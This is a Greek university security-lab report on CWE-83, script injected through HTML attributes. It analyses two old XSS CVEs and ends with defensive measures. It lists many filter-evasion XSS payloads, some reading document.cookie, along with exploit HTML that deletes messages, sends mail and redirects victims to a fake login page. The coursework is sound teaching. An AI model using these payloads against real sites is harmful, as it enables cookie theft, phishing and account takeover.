ΑΣΦΑΛΕΙΑ ΣΤΗΝ ΤΕΧΝΟΛΟΓΙΑ ΤΗΣ ΠΛΗΡΟΦΟΡΙΑΣ
(Εργαστήριο)

CWE-83: Improper Neutralization of Script in Attributes in a Web Page

Σταύρος Παπαντωνάκης
CSE45227

Τελική Εργασία
ΑΣΦ03

Τμήμα Μηχανικών Πληροφορικής και Υπολογιστών
Πανεπιστήμιο Δυτικής Αττικής
Αθήνα
11/06/2020

> **Όχι επιπλέον περιορισμοί** – Δεν μπορείτε να εφαρμόσετε νομικούς όρους ή **τεχνικά μέσα** που να περιορίζουν νομικά τους άλλους να πράξουν σύμφωνα με τις ελευθερίες αυτής της άδειας.

Σημειώσεις:

Δεν χρειάζεται να ακολουθήσετε την άδεια για τμήματα του υλικού που θεωρούνται δημόσια γνώση (public domain) ή όπου η χρήση τους επιτρέπεται εξαιτίας μιας **εξαίρεσης ή περιορισμού**.

Δεν δίνονται εγγυήσεις. Η άδεια ίσως να μη σας δίνει όλα τα δικαιώματα για την επιδιωκόμενη χρήση. Για παράδειγμα, επιπλέον δικαιώματα όπως **δημοσιότητα**, **ιδιωτικότητα**, **ή ηθικά δικαιώματα** μπορεί να επιβάλλουν περιορισμούς στη χρήση του υλικού.

Το παρόν έργο στοιχειοθετήθηκε σε XeLaTeX. Ο πηγαίος κώδικας του είναι διαθέσιμος στην παρακάτω τοποθεσία:

https://github.com/lardianos/Security

Περιεχόμενα

1.1 Εισαγωγή

1.1.1 Περιγραφή της κοινής αδυναμίας CWE-83

Ο συγκεκριμένος τύπος αδυναμίας περιγράφει την ευπάθεια μερικών ιστοτόπων που επιτρέπουν την εκτέλεση κώδικα JavaScript μέσω των attributes διάφορων html tags όπως τα onmouseover, onload, onerror, style. Αυτό επιτυγχάνεται λόγω του ότι δεν φιλτράρουν, εξουδετερώνουν την JavaScript ή τα URIs από τα διαφορά επικίνδυνα attributes είτε το κάνουν εσφαλμένα.

Μερικά παραδείγματα από ευπάθειες που έχουν παρατηρηθεί είναι τα παρακάτω:

- CVE-2001-0520 Bypass filtering of SCRIPT tags using onload in BODY, href in A, BUTTON, INPUT, and others.
- CVE-2002-1493 guestbook XSS in STYLE or IMG SRC attributes.
- CVE-2002-1965 JavaScript in onerror attribute of IMG tag.
- CVE-2002-1495 XSS in web-based email product via onmouseover event.
- CVE-2002-1681 XSS via script in <P> tag.
- CVE-2004-1935 Onload, onmouseover, and other events in an e-mail attachment.
- CVE-2005-0945 Onmouseover and onload events in img, link, and mail tags.
- CVE-2003-1136 JavaScript in onmouseover attribute in e-mail address or URL.

[1] Στην παρούσα εργασία θα αναλύσουμε τα CVE-2004-1935 και CVE-2005-0945. Το CVE-2004-1935 περιγράφει μια ευπάθεια στο e-mail attachment η οποία επιτρέπει να χρησιμοποιήσεις JavaScript μέσω των attributes onload, onmouseover σε διάφορα HTML tags. Ενώ το CVE-2005-0945 περιγράφει μια ευπάθεια του comment section ενός website η οποία επιτρέπει την προσθήκη κώδικα Javascript στα attributes onmouseover, onload των html tags img, link και mail.

[1] Αλλαγή

1.2 Σύνδεση με την θεματολογία των ασκήσεων

Παρατηρούμε ότι οι παραπάνω ευπάθειες χρησιμοποιούν την αδυναμία του συστήματος να φιλτράρει και να εξουδετερώσει την JavaScript που προστίθεται στα διαφορά section του συστήματος τους από χρήστες. Επιτρέποντας έτσι πιθανών κακόβουλες ενέργειες που μπορεί να προκύψουν και μη ορθή χρήση του συστήματος.

Προσθέτοντας κάποιος χρήστης μια εικόνα στο email attachment όπου στο onload φορτώνει κάποιον JavaScript κακόβουλο κώδικα που ενδεχομένως έχει ανεβάσει σε κάποιον απομακρυσμένο server όπως αντίστοιχα κάναμε και στο πρώτο μέρος της τέταρτης εργαστηριακής άσκησης και αποστείλει το email στο ανυποψίαστο θύμα. Θα έχει ως αποτέλεσμα ανοίγοντας το, ο κακόβουλος κώδικας να εκτελεστεί στον browser του θύματος και να προκαλέσει μη επιθυμητές ενέργειες όπως η υποκλοπή cookie session ή άλλων δεδομένων του ανυποψίαστου χρήστη.

Η συγκεκριμένοι τύποι ευπαθείας (CVE-2004-1935 και CVE-2005-0945) υπόκεινται στην κατηγορία των XSS (Cross Site Scripting) αντίστοιχες με αυτές που εξετάσαμε στην εργαστηριακή άσκηση 4. Παραδείγματος χάριν θα μπορούσε και στης δυο περιπτώσεις να δημιουργηθεί κάτι αντίστοιχο του Samyworm που υλοποιήσαμε στο εργαστήριο.

Στο πρώτο χρησιμοποιώντας μια εικόνα στο attachment ενός email οπού στο attribute onload θα φορτώσει των κακόβουλο κώδικα, ο οποίος θα σταλθεί στα επόμενα θύματα χρησιμοποιώντας τα πιθανόν αποθηκευμένα email του κάθε χρήστη. Αντίστοιχα στο δεύτερο θα μπορούσε να αναπαράγετε και να δημοσιεύετε από κάθε χρήστης που βλέπει είτε ένα link είτε μια εικόνα στο comment section της web ιστοσελίδας.

1.3 Τεχνική περιγραφή και ανάλυση με παραδείγματα

1.3.1 Τεχνική περιγραφή

Ας ξεκινήσουμε να προσεγγίζουμε λίγο πιο συγκεκριμένα την αδυναμία (CWE-83)που αναφέραμε παραπάνω. Αρχικά ένας επιτιθέμενος που εκμεταλλεύεται την συγκεκριμένη ευπάθεια καθώς και όλες όσες υπόκεινται στην κατηγορία των XSS, προσπαθεί να εμφυτεύσει στο αντίστοιχο λογισμικό, συνήθως web εφαρμογή κώδικα ο οποίος θα εκτελε-

στεί στον browser του θύματος σαν να ήταν εξαρχής μέρος της όταν έρθει σε επαφή με αυτόν.

Ο επιτιθέμενος με αυτόν τον τρόπο μπορεί να στείλει σε ένα ανυποψίαστο χρήστη το script με τον κακόβουλο κώδικα. Ο χρήστης δεν έχει την παραμικρή ιδέα για το ότι ο συγκεκριμένος κώδικας δεν είναι έμπιστος καθώς προέρχεται από μια έμπιστη ιστοσελίδα. Έτσι το κακόβουλο script εκτελείται στον browser του χρήστη με αποτέλεσμα να έχει πρόσβαση σε cookies, sessions και άλλες ευαίσθητες πληροφορίες που βρίσκονται στον browser του χρήστη και χρησιμοποιούνται από το συγκεκριμένο site.

1.3.2 Παραδείγματα

Ειδικότερα σε αυτήν την αδυναμία (CWE-83) χρησιμοποιούνται εναλλακτικές μέθοδοι εμφύτευσης κώδικα στην ιστοσελίδα χωρίς να χρησιμοποιούνται τα script tags.

```
<script>

</script>
```

1.3.3 Ενναλακτική σύνταξη XSS

Ας δώσουμε μερικά παραδείγματα όπως την χρήση XSS του attribute onload,

```

<body onload=alert('test1')>

```

τα attributes onmouseover

```

<b onmouseover=alert('Wufff!')>click me!</b>

```

και onerror

```

<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

```

1.3.4 Χρήση XSS μέσω κωδικοποιημένου URI

Ακόμα και αν ένα site κάνει filtering υπάρχει η πιθανότητα να κωδικοποιηθεί σε UTF-8 και να περαστεί στο img tag.

```
<IMG SRC=j&#X41vascript:alert('test2')>
```

Άλλες μέθοδοι υπεκφυγής φιλτραρίσματος είναι

1.3.5 XSS εικόνα χρησιμοποιώντας JavaScript directive

```
<IMG SRC="javascript:alert('XSS');">
```

1.3.6 Χρήση εισαγωγικά και ερωτηματικά

```
<IMG SRC=javascript:alert('XSS')>
```

1.3.7 Χρήση case insensitive γραφής

```
<IMG SRC=JaVaScRiPt:alert('XSS')>
```

1.3.8 Χρήση HTML χαρακτήρων

Απαιτούνται οι χαρακτήρες (;) για αυτή την περίπτωση.

```
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
```

1.3.9 Χρήση του χαρακτήρα (‘)

Χρησιμοποιώντας τον χαρακτήρα (‘) έτσι ώστε να περικλείει το script string, τα XSS filters σε πολλές περιπτώσεις δεν τον αναγνωρίζουν.

```
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
```

1.3.10 Λάθος σύνταξη HTML tags

```
\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>
```

1.3.11 Λάθος σύνταξη HTML IMG tag

```
\<a onmouseover=alert(document.cookie)\>xxs link\</a\>
```

1.3.12 fromCharCode

Ακόμα και να φιλτράρονται όλοι οι χαρακτήρες εισαγωγικών μπορούμε να δημιουργήσουμε οποιαδήποτε συμβολοσειρά επιθυμούμε με αυτήν την συνάρτηση της JavaScript

```
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
```

1.3.13 Χρήση του χαρακτήρα (#) στο SRC attribute

```
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
```

1.3.14 Κενό SRC attribute

```
<IMG SRC=# onmouseover="alert('xxs')">
```

1.3.15 Χρήση tag με παράληψη του SRC attribute

```
<IMG SRC= onmouseover="alert('xxs')">
```

1.3.16 Χρήση του attribute onerror

```
<IMG onmouseover="alert('xxs')">
```

1.3.17 Χρήση του attribute onerror με κωδικοποιημένο script string

```
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
```

1.3.18 Κωδικοποίηση JavaScript Directive με δεκαδικούς html χαρακτήρες

```
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#
0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000
108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&
#0000083&#0000039&#0000041">
```

1.3.19 Κωδικοποίηση JavaScript Directive με δεκαδικούς html χαρακτήρες χωρίς ερωτηματικά

```
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;
&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
```

1.3.20 Κωδικοποίηση JavaScript Directive με δεκαεξαδικούς html χαρακτήρες

```
61
62  <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&
63  #x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
```

Παρατηρούμε ότι δεν υπάρχει ένας και μοναδικός τρόπος εμφύτευσης κώδικα JavaScript σε μια ιστοσελίδα. Αντιθέτως υπάρχει πληθώρα τροπών και μεθόδων που μπορούν να οδηγήσουν σε ένα σενάριο XSS. Αυτό μας οδηγεί στο συμπέρασμα ότι η δουλειά ενός XSS φίλτρου είναι πολύ δύσκολη και πιθανόν ακατόρθωτη σε μερικές περιπτώσεις. Έχοντας ως συνέπεια την αύξηση της πιθανότητας κάποιο από τα ενδεχόμενα σενάρια να μην ελεγχθεί είτε να ελεγχθεί, εσφαλμένα οδηγώντας έτσι την web εφαρμογή σε ένα XSS Attack σενάριο.

1.4 Περιστατικά και συνέπειες που σχετίζονται την αδυναμία (CWE-83)

1.4.1 Περιστατικά

Όπως αναφέραμε και στην αρχή υπάρχουν αρκετά περιστατικά που σχετίζονται με την παραπάνω αδυναμία. Στην συνεχεία θα αρχίσουμε να αναλύουμε αυτά που μας φανήκαν πιο ενδιαφέροντα. Το CVE-2004-1935 αναφέρει μια ευπάθεια XSS στο SCT Campus Pipeline όπου επιτρέπει την JavaScript σε tags όπως τα onload, onmouseover, κλπ ως συνημμένα σε email, και το CVE-2005-0945 όπου μιλάει για ευπάθεια XSS στο ACS Blog 1.1.1 οπού επιτρέπει την εισαγωγή JavaScript στο comment section μέσω του onmouseover attribute στα tags link, mail, img.

1.4.2 CVE-2004-1935

Αναφορικά το SCT Campus Pipeline ήταν μια διαδικτυακή πλατφόρμα που είχε επιλεχθεί να χρησιμοποιήστε σε πάνω από 175 ιδρύματα. Το οποίο χρησιμοποιούνταν για την κοινωνικοποίηση και την βελτίωση της απόδοσης των φοιτητών, παρέχοντας τους πρόσβαση σε πληροφορίες, υπηρεσίες και κοινότητες.

Το τμήμα χειρισμού του email αυτού του λογισμικού εμφάνιζε στο εσωτερικό του email ορισμένα συνημμένα όπως html, bmp, jpg, gif, κλπ.

Ενώ όμως έκανε πολύ καλή δουλεία στο φιλτράρισμα των script από τα αρχεία html άφηνε απείραχτα κάποια events όπως το onload(), onmouseover(), onclick(),κλπ.

Όπως καταλαβαίνουμε αυτό είναι τεράστιο πρόβλημα καθώς ο ενδεχόμενος κακόβουλος κώδικας που μπορεί να καλείται από αυτά τα events θα έχει τα ιδία δικαιώματα με τον χρήστη που περιηγείται στο email του. Το πράγμα γίνετε ακόμα χειρότερο γιατί η εφαρμογή χρησιμοποιεί συναρτήσεις JavaScript για την υλοποίηση όλων των λειτουργιών που διαθέτει.

Συνεπώς αυτό καθιστούσε δυνατόν την εκτέλεση εντολών όπως delete message() στο <body onload=”deletemessage()”> με αποτέλεσμα τη διαγράφη του email μαζί με τον κώδικα html που έχει επισυναφθεί σε αυτό. Ακόμα αλλάζοντας την σελίδα στον χρήστη με την <body onload= ”location.replace(‘site’)”> θα μπορούσαμε να εκτελέσουμε τον πιθανόν κακόβουλο κώδικα που θα είχαμε προετοιμάσει ή να εφαρμόσουμε οποιαδήποτε μέθοδο scripting επιθυμούσαμε.

Αυτό το κενό ασφάλειας μπορεί να οδηγήσει σε ένα συνημμένο html που έχει πλήρη έλεγχο του email λογαριασμού των θυμάτων. Εφόσον ο επιτιθέμενος θα είχε ρυθμίσει τα session των χρηστών, θα μπορούσε ενδεχομένως να εκτελέσει οποιαδήποτε εντολή μπορούσε να χρησιμοποιήσει ο συγκεκριμένος λογαριασμός, όπως την προβολή βαθμών του φοιτητή κλπ.

Μερικά παραδείγματα που εκμεταλλεύονται την ευπάθεια του συγκεκριμένου site είναι τα παρακάτω:

```
<html>
<body onload="alert('load')">
<img src="http://www.hackthissite.org/avatars/hts.jpg" onmouseover="alert('mouse')">;
<img src="http://www.hackthissite.org/avatars/hts.jpg"onclick="alert('clicked')">;
</body>
</html>
```

Το συγκεκριμένο exploit διαγράφει το ενδεχόμενο μήνυμα.

```

 <html><body onload=”deleteMessage()”></body><html>

```

Με το παρακάτω exploit δημιουργούμε ένα νέο μήνυμα email με ότι περιεχόμενο θέλουμε.

```
<html>
<body onload="location.replace('http://website.com/cp/email/composeBody?
function=new&to=Spiffomatic64@hotmail.com&subject=I \ love you matt&body=I was
owned by matt')">
</body>
</html>
```

Η δημιουργία ενός ψευδούς session timeout screen με μια login form θα αποτελούσε εξίσου μεγάλο πρόβλημα. αυτό θα οδηγούσε τους χρήστες να πληκτρολογήσουν τα ακαδημαϊκά τους στοιχεία, πέφτοντας έτσι στην παγίδα του επιτιθέμενου, υποκλέπτοντας τους, ευαίσθητες πληροφορίες και ότι άλλο μπορεί να συνεπάγεται με αυτό.

```
<html>
<body onload="location.replace('http://hackthissite.org/userfiles/spiffomatic64/logoutpage.html')">
</body>
</html>
```

Η συγκεκριμένη ευπάθεια δημοσιεύτηκε στο CVE Details στις 15-04-2004, marc.info στις 15-04-2004 και ώρα 16:36:50, SecurityFocus 15-04-2004 και ώρα 12:00AM και τέλος στο IBMcloud στις 15-04-2004.

Ο βαθμός σοβαρότητας διαφέρει στα διαφορά sites. Για παράδειγμα στο **IBMcloud** έχει

CVSS 1.0 Base Score:	2.8
Access Vector:	Remote
Access Complexity:	High
Authentication:	Not Required
Confidentiality Impact:	None
Integrity Impact:	Partial
Availability Impact:	None

Ενώ στο **CVE Details** έχει

CVSS Score:	4.3
Confidentiality Impact:	None
Integrity Impact:	Partial
Availability Impact:	None
Access Complexity:	Medium
Authentication:	Not required
Gained Access:	None
Vulnerability Type(s):	Cross Site Scripting
CWE ID:	CWE id is not defined

Τέλος σύμφωνα με το CVE Details η συγκεκριμένη ευπάθεια υπήρχε στο λογισμικό Campus Pipeline της Sct Corporation για τις εκδόσεις 1.0, 2.0, 2.1, 2.2, 3.0, 3.1, 3.2

1.4.3 CVE-2005-0945

Η συγκεκριμένη ευπάθεια δοκιμάστηκε στη έκδοσή (V1.1.1) του ACS Blog. Όπως είπαμε και παραπάνω στο comment section του ACS Blog υπήρχε η πιθανότητα εκτέλεσης μιας επίθεσης XSS μέσω των link,mail, img tags, λόγω έλλειψης φιλτραρίσματος στα μονά εισαγωγικά και στα κενά μέσα στα tags.

Εδώ παρατηρούμε ότι ισχύουν πάνω κάτω τα ίδια πράγματα με την προηγουμένη ευπάθεια, δηλαδή κάποιος κακόβουλος χρηστής θα μπορούσε να προσθέσει τον κακόβουλο κώδικα του στο onload του tag μιας εικόνας και να την προωθήσει στο comment section, με αποτέλεσμα ο κακόβουλος κώδικας να εκτελεστεί σε οποιονδήποτε browser εμφανίσει το εν λόγω comment.

Ας δούμε μερικά παραδείγματα σεναρίων που μπορούν να εμφυτεύσουν εκτελέσιμο κώδικα στο comments section.

```
89
90  [link=http://www.google.com' onmouseover='alert("XSS vulnerability")'
91  o=']Don't you wanna see where this link goes?[/link]
92
```

```
92
93  [mail=bugtraq@securityfocus.com' onmouseover='alert("XSS
94  vulnerability")' o=']Mr. Wiggles[/mail]
95
```

```
95
96  [img]http://www.example.com/image.jpg' onload='alert("XSS
97  vulnerability")' o='[/img]
98
```

```
 98
 99   [link=http://www.google.com target=_blank'
100   onmouseover=a=/Vulnerability/;alert(a.source) o=']Hooray[/link]
101
```

Η συγκεκριμένη ευπάθεια δημοσιεύτηκε στο CVE Details στις 02-05-2005, marc.info στις 28-03-2005 και ώρα 23:15:34, SecurityFocus 28-03-2005 και ώρα 12:00AM, IBMcloud στης 28-03-2005, και τέλος στο NIST 05-02-2005.

Βαθμός σοβαρότητας στα διαφορά sites:

NIST

CVSS Base Score:	4.3
Impact Subscore:	2.9
Exploitability Subscore:	8.6
CVSS Temporal Score:	NA
CVSS Environmental Score:	NA
Modified Impact Subscore:	NA
Overall CVSS Score:	4.3

IBMcloud

CVSS 1.0 Base Score:	2.8
Access Vector:	Remote
Access Complexity:	High
Authentication:	Not Required
Confidentiality Impact:	None
Integrity Impact:	Partial
Availability Impact:	None

CVE Details

CVSS Score:	4.3
Confidentiality Impact:	None
Integrity Impact:	Partial
Availability Impact:	None
Access Complexity:	Medium
Authentication:	Not required
Gained Access:	None
Vulnerability Type(s):	Cross Site Scripting
CWE ID:	CWE id is not defined

Οι συγκεκριμένες ευπάθειες εάν βρισκόταν σε πιο διαδεδομένες web εφαρμογές θα μπορούσαν να οδηγήσουν σε ένα worm με πιθανόν πολύ μεγαλύτερή ταχύτητα εξαπλώσεις από το Sumy worm λόγω του ότι το CVE-2004-1935 περιγράφει ευπάθεια μέσω email που επιτρέπει στον επιτιθέμενο να τοποθετήσει κακόβουλο κώδικα στο εσωτερικό του email και να το αποστείλει σε μια λίστα χρηστών οπού ανοίγοντας απλά το συγκεκριμένο email θα μολύνονταν.

Αντίστοιχα με το CVE-2005-0945 τα πράγματα θα ήταν ακόμα πιο εύκολα για την μετάδοση του κακόβουλου κώδικα λόγω του comments

section που είναι προσβάσιμο από όλους τους χρηστές. Με τη θέαση είτε ενός μολυσμένου link είτε μιας μολυσμένης εικόνας τα αποτελέσματα θα ήταν εξίσου δραματικά.

1.5 Αντιμετώπιση της αδυναμίας (CWE-83)

Για να αντιμετωπίσουμε αποτελεσματικά τις εν λόγω αδυναμίες θα πρέπει να ελέγξουμε προσεκτικά κάθε παράμετρο εισόδου με πολύ αυστηρές προδιάγραφες, χρησιμοποιώντας για παράδειγμα ένα whitelist που καθορίζει συγκεκριμένους χαρακτήρες και την μορφή που επιτρέπεται. Στην συνέχεια θα πρέπει να εξουδετερώσουμε όλες τις εισόδους και όχι μόνο αυτές που υποτίθεται ότι μπορεί να καθορίσει ο χρήστης, συμπεριλαμβανομένων των tag attribute, cookies, headers, hidden fields, URLs και ούτω καθεξής.

Ένα κοινό λάθος που οδηγεί σε ευπάθειες XSS είναι ο έλεγχος μόνο των πεδίων που αναμένεται να εμφανιστούν ξανά από τον ιστότοπο. Συχνά συναντάμε δεδομένα από αιτήματα που αντανακλώνται από τον server της εφαρμογής η την ιδιά την εφαρμογή, πού δεν περίμενε ή ομάδα ανάπτυξης. Επίσης, ένα πεδίο που δεν εμφανίζεται αυτήν τη στιγμή μπορεί να χρησιμοποιηθεί από έναν άλλο προγραμματιστή μελλοντικά. Επομένως, συνιστάται ο έλεγχος ΟΛΩΝ των τμημάτων του αιτήματος HTTP.

Επίσης προτείνετε χρήση και ο καθορισμός μιας κωδικοποίησης εξόδου που να μπορεί να διαχειριστεί από το downstream component που διαβάζει την έξοδο, πχ. ISO-8859-1, UTF-7, and UTF-8. Όταν δεν υπάρχει μια καθορισμένη κωδικοποίηση το downstream component μπορεί να επιλέξει μια διαφορετική κωδικοποίηση είτε επιλέγοντας μια προεπιλεγμένη είτε κάνοντας υπόθεση για το ποια κωδικοποίηση είναι αυτή που χρησιμοποιείτε, η οποία μπορεί να είναι εσφαλμένη.

Όταν οι κωδικοποιήσεις δεν είναι συνεπώς καθορισμένες το downstream component αντιμετωπίζει ορισμένους χαρακτήρες ή ακολουθίες byte ως ειδικούς, ακόμη και αν δεν είναι ειδικοί στην αρχική κωδικοποίηση. Δημιουργώντας έτσι ένα σημείο όπου μπορεί ένας επιτιθέμενος να το εκμεταλλευτεί και να πραγματοποιήσει μια επίθεση εμφυτεύοντας κώδικα στην αντίστοιχη εφαρμογή. Μπορεί ακόμα και να παρακάμψει μηχανισμούς προστασίας που υποθέτουν ότι η αρχική κωδικοποίηση χρησιμοποιείται επίσης από το downstream component.

Το πρόβλημα των μη συνεπώς καθορισμένων κωδικοποιήσεων εξόδου

προκύπτει συχνά σε ιστοσελίδες. Εάν μια κωδικοποίηση δεν καθορίζεται σε ένα HTTP header, τότε συνήθως τα προγράμματα περιήγησης μαντεύουν για το ποια κωδικοποίηση χρησιμοποιείται. Αυτό ανοίγει τις πόρτες των φυλλομετρητών προς subtle XSS επιθέσεις.

Για να μετριάσουμε τις επιθέσεις XSS προς τα user's session cookie, μπορούμε να ρυθμίσουμε τα session cookie που χρησιμοποιούμε σε HttpOnly. Σε προγράμματα περιήγησης που υποστηρίζουν τη δυνατότητα HttpOnly (όπως πιο πρόσφατες εκδόσεις του Internet Explorer και του Firefox), αυτό το χαρακτηριστικό μπορεί να αποτρέψει την πρόσβαση των user's session cookies από κακόβουλα scripts που χρησιμοποιούν το document.cookie. Η συγκεκριμένη λύση δεν είναι απόλυτη, ή πλήρως ολοκληρωμένη καθώς το HttpOnly δεν υποστηρίζεται από όλα τα προγράμματα περιήγησης.

Επίσης σημαντικό είναι το XMLHTTPRequest και άλλες ισχυρές browser τεχνολογίες που παρέχουν read access στα HTTP headers, συμπεριλαμβανομένου του Set-Cookie header στο οποίο έχει ρυθμιστεί το HttpOnly flag. Αυτό έχει ως αποτέλεσμα, άμυνα σε βάθος.

Βιβλιογραφία

[1] Improper Neutralization of Script in Attributes in a Web Page. [*CWE-83*],
https://cwe.mitre.org/data/definitions/83.html

[2] Cross-site scripting (XSS) vulnerability in SCT Campus Pipeline allows remote attackers to inject arbitrary web script or HTML via onload, onmouseover, and other Javascript events in an e-mail attachment. [*CVE-2004-1935*],
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1935

[3] Cross-site scripting (XSS) vulnerability in ACS Blog 1.1.1 allows remote attackers to inject arbitrary web script or HTML via onmouseover or onload events in (1) img, (2) link, or (3) mail tags. [*CVE-2005-0945*],
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0945

[4] SCT Campus Pipeline email attachments could allow cross-site scripting. *IBMCloud* [*CVE-2004-1935*], Apr 15 2004
https://exchange.xforce.ibmcloud.com/vulnerabilities/15878

[5] SCT Campus Pipeline Email Attachment Script Injection Vulnerability. *SecurityFocus*, [*CVE-2004-1935*], Apr 15 2004
https://www.securityfocus.com/bid/10154

[6] CVSS Scores & Vulnerability Types. *CVE Details*, [*CVE-2004-1935*], Apr 15 2004
https://www.cvedetails.com/cve/CVE-2004-1935/?q=CVE-2004-1935

[7] SCT javascript execution vulnerability. *Marc.info*, [*CVE-2004-1935*],
https://marc.info/?l=bugtraq&m=108207280917231&w=2

[8] Multiple XSS vulnerabilities in ACS Blog. *Marc.info*, [*CVE-2005-0945*], Mar 28 2005
https://marc.info/?l=bugtraq&m=111214069029812&w=2

[9] CVSS Scores & Vulnerability Types . *CVE Details* [*CVE-2005-0945*], May 2 2005
https://www.cvedetails.com/cve/CVE-2005-0945/

[10] ACS Blog Name Field HTML Injection Vulnerability. *SecurityFocus*, [*CVE-2005-0945*], Mar 28 2005
https://www.securityfocus.com/bid/12921/info

[11] CVE-2005-0945 Detail . *NIST*, [*CVE-2005-0945*], May 2 2005
https://nvd.nist.gov/vuln/detail/CVE-2005-0945

[12] ACS Blog link, mail, and img tags cross-site scripting . *IBMCloud*, [*CVE-2005-0945*], Mar 28 2005
https://exchange.xforce.ibmcloud.com/vulnerabilities/19864

[13] ACS Blog Input Validation Errors in 'Comments' Tags Let Remote Users Conduct Cross-Site Scripting Attacks . *SecurityTracker*, [*CVE-2005-0945*], Mar 28 2005
https://securitytracker.com/id?1013584

[14] Jim Manico, Abdullah Hussam, Michael McCabe, Luke Plant, Randomm, David Shaw, ALange, Matt Tesauro, Adam Caudill, Anandu, DhirajMishra, Ono, Bill Sempf, Dan Wallis, Peter Mosmans, Dominique Righetto. (*OWASP*) [*XSS Filter Evasion Cheat Sheet*],
https://owasp.org/www-community/xss-filter-evasion-cheatsheet

[15] KirstenS, Jim Manico, Jeff Williams, Dave Wichers, Adar Weidman, Roman, Alan Jex, Andrew Smith, Jeff Knutson, Imifos, Erez Yalon. (*OWASP*) [*Cross Site Scripting (XSS)*],
https://owasp.org/www-community/attacks/xss/

[16] OWASP: Types of XSS,
https://owasp.org/www-community/Types_of_Cross-Site_Scripting

[17] OWASP: DOM based XSS Prevention Cheat Sheet,
https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html

[18] Jim Wenliang Du, *Syracuse University*. (*SEED Labs*) [*Cross-Site Scripting (XSS) Attack Lab*], 2006-2016,

https://seedsecuritylabs.org/Labs_16.04/PDF/Web_XSS_Elgg.pdf

[19] WILLIAM STALLINGS and LAWRIE BROWN. *[Ασφάλεια υπολογιστών - Αρχές και πρακτικές]*. 3η αμερικάνικη εκδοσή, *ΕΚΔΟΣΕΙΣ ΚΛΕΙΔΑΡΙΘΜΟΣ ΕΠΕ*.

[20] Stallings William. *[Κρυπτογραφία και Ασφάλεια Δικτύων Αρχές και Εφαρμογές]*. *Εκδοτικός Όμιλος ΙΩΝ*.